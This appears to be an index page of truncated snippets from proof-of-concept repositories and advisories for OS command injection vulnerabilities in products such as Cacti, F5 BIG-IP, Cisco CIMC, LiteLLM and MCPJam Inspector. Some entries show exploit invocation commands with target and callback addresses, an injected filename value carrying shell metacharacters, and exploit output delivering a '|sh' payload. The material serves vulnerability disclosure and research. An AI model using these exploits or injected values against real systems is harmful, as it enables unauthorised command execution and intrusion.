CVE-2018-19518

CVE-2018-19518 last rapport here : https://gitlab.com/ensimag-security/CVE-2018-19518/-/jobs/artifacts/master/raw/rapport.pdf?job=PDF Usage run app docker-compose up -d example normal usage for the web app. imap : webmail.grenoble-inp.org user : [email protected] password : xxx exploit using...

CVE-2022-1388

CVE-2022-1388 Poc:pocsuite -r CVE-2022-1388F5BIG-IPPOCEXP.py -u url Exp:pocsuite -r CVE-2022-1388F5BIG-IPPOCEXP.py -u url --attack --command command 免责声明 此工具仅用于学习、研究和自查。不应将其用于非法目的。使用本工具产生的一切风险与我无关！ Disclaimer This tool is for study, research, and self-examination only. It should not be used for...

CVE-2026-42271-PoC

CVE-2026-42271 — LiteLLM Authenticated Command Injection via MCP stdio Test Endpoints LiteLLM POST /mcp-rest/test/connection & POST /mcp-rest/test/tools/list — Authenticated command injection via MCP stdio transport. Any valid API key can execute arbitrary OS commands as root in default Docker...

CVE-2015-10141

CVE-2015-10141 Exploit Title: xdebug Unauthenticated Command Execution Exploit Author: D3Ext Vendor Homepage: https://xdebug.org/ Sofware Link: https://pecl.php.net/package/xdebug/2.5.5/windows Version: 2.5.5 Tested on: Kali Linux 2025 CVE: CVE-2015-10141 Explanation An unauthenticated OS command...

CVE-2022-46169

CVE-2022-46169 CVE-2022-46169 Cacti remoteagent.php Unauthenticated Command Injection. Auth Bypass Add X-Forwarded-For header to bypass authentication, note that its value is not a fixed value. Brute Force Use Burp Intruder to fuzz test the values of hostid and localdataids. RCE The point of...

CVE-2024-20356

CVE-2024-20356 This is a proof of concept for CVE-2024-20356, a Command Injection vulnerability in Cisco's CIMC. Full technical details can be found at https://labs.nettitude.com/blog/cve-2024-20356-jailbreaking-a-cisco-appliance-to-run-doom Usage Usage: CVE-2024-20356.py -h -t HOST -u USERNAME -...

CVE-2024-3400

CVE-2024-3400: OS Command Injection Vulnerability Description: CVE-2024-3400 is a security vulnerability affecting applications or services that accept user input and execute operating system commands based on that input without adequate validation. This vulnerability allows attackers to inject...

CVE-2019-11539

CVE-2019-11539 Original Discovery: Orange Tsai, Meh Chang Authors: Justin Wagner, Alyssa Herrera Thanks to: Orange, Meh Chang, Rich Warren, Alyssa, Mimir Vulnerability Description In Pulse Secure Pulse Connect Secure version 9.0RX before 9.0R3.4, 8.3RX before 8.3R7.1, 8.2RX before 8.2R12.1, and...

CVE-2026-23744-RCE-for-MCPjam-inspector-v1.4.2

CVE-2026-23744-RCE-for-MCPjam-inspector-v1.4.2 A critical RCE vulnerability in MCPJam Inspector 3.Start the exploit python3 CVE-2026-23744.py -u -i -p 4.For better usage I recomend to update the terminal to a fully funcional one , otherwise u wont be able to use commands like ctrl^c Example Only...

CVE-2026-23744-RCE

MCPJam Inspector v1.4.2 - RCE Exploit Vulnerability Description MCPJam Inspector contains an unauthenticated Remote Code Execution RCE vulnerability in the /api/mcp/connect endpoint. The vulnerability allows attackers to execute arbitrary commands by sending a malicious MCP server configuration...

Astra Linux – Vulnerability in cifs-utils

It was discovered that cifs-utils’ mount.cifs function invoked a shell when requesting the Samba password, which could be exploited to inject arbitrary commands. An attacker who had special permissions, such as those through sudo rules, could use this vulnerability to escalate their privileges...

Astra Linux – Vulnerability in Node.js

A OS command injection vulnerability exists in Node.js versions 14.20.0, 16.20.0, 18.5.0 due to an insufficient IsAllowedHost check. This vulnerability can be easily exploited, as the IsIPAddress function does not properly check whether an IP address is invalid before making DBS requests, thereby...

Astra Linux – Vulnerability in Zabbix

Zabbix allows for the configuration of SMS notifications. AT command injection occurs on the “Zabbix Server” because there is no validation of the “Number” field either on the web interface or on the Zabbix server side. An attacker can send specially crafted phone numbers via SMS and execute...

Astra Linux – Vulnerability in Composer

Composer is a dependency manager for PHP. On the 2.x branch, before versions 2.2.24 and 2.7.7, the composer install command executed within a Git/HG repository with specially crafted branch names could lead to command injection. This required cloning untrusted repositories. Patches are available ...

patch-CVE-2026-04321

Patch: CVE-2026-04321 Vulnerability Details CVE : CVE-2026-04321 Product : Zyxel firewall Description : OS command injection Severity : Critical Patch Status: DEPLOYED Field| Value ---|--- Patch Date| 2026-01-28 Status| deployed Deployed To| Production Validated By| SecOps Team References NVD CIS...

POC-CVE-2026-19681

CVE-2026-19681 — command injection in file upload processing authenticated Status: CONFIRMED on a 6.7.2-14.el9 lab 2026-08-20. Staged filename p;sleep$IFS20;-EvvfJk via POST /rest/file/upload context prefix carries the metachars, then POST /rest/auditFile type=scapLinux, version=1.2 stalled exact...

CVE-2026-4480

excute exploit: python ./exploit.py -t 10.129.20.16 -l 10.10.14.172 -p 8487 Target: 10.129.20.16 Callback: 10.10.14.172:8487 Verify mode: False + Credentials initialized anonymous + Connected to spoolss interface + Opened printer: HP-Reception + Created DocumentInfo with payload: |sh + Generated...

Hoverfly-1.11.3-RCE-CVE-2025-54123-Exploit

CVE-2025-54123 — Hoverfly Middleware API Remote Code Execution Authenticated RCE via OS Command Injection in Hoverfly ≤ 1.11.3 Vulnerability Overview Property| Value ---|--- CVE ID| CVE-2025-54123 CVSS Score| 9.8 — Critical CVSS Vector| CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H CWE| CWE-78 OS...

CVE-2021-46704

OS Command Injection in GenieACS CVE-2021-46704 CVE-2021-46704 Nuclei template Reference : https://github.com/advisories/GHSA-2877-693q-pj33 https://nvd.nist.gov/vuln/detail/CVE-2021-46704 https://cve.mitre.org/cgi-bin/cvename.cgi?name=2021-46704...

CVE-2022-46169

Cacti remoteagent.php Remote Command Execution Vulnerability CVE-2022-46169 Vulnerability Description Cacti is a server monitoring and management platform. A command injection vulnerability exists in versions 1.2.17 to 1.2.22. An attacker can bypass server-side validation via the X-Forwarded-For...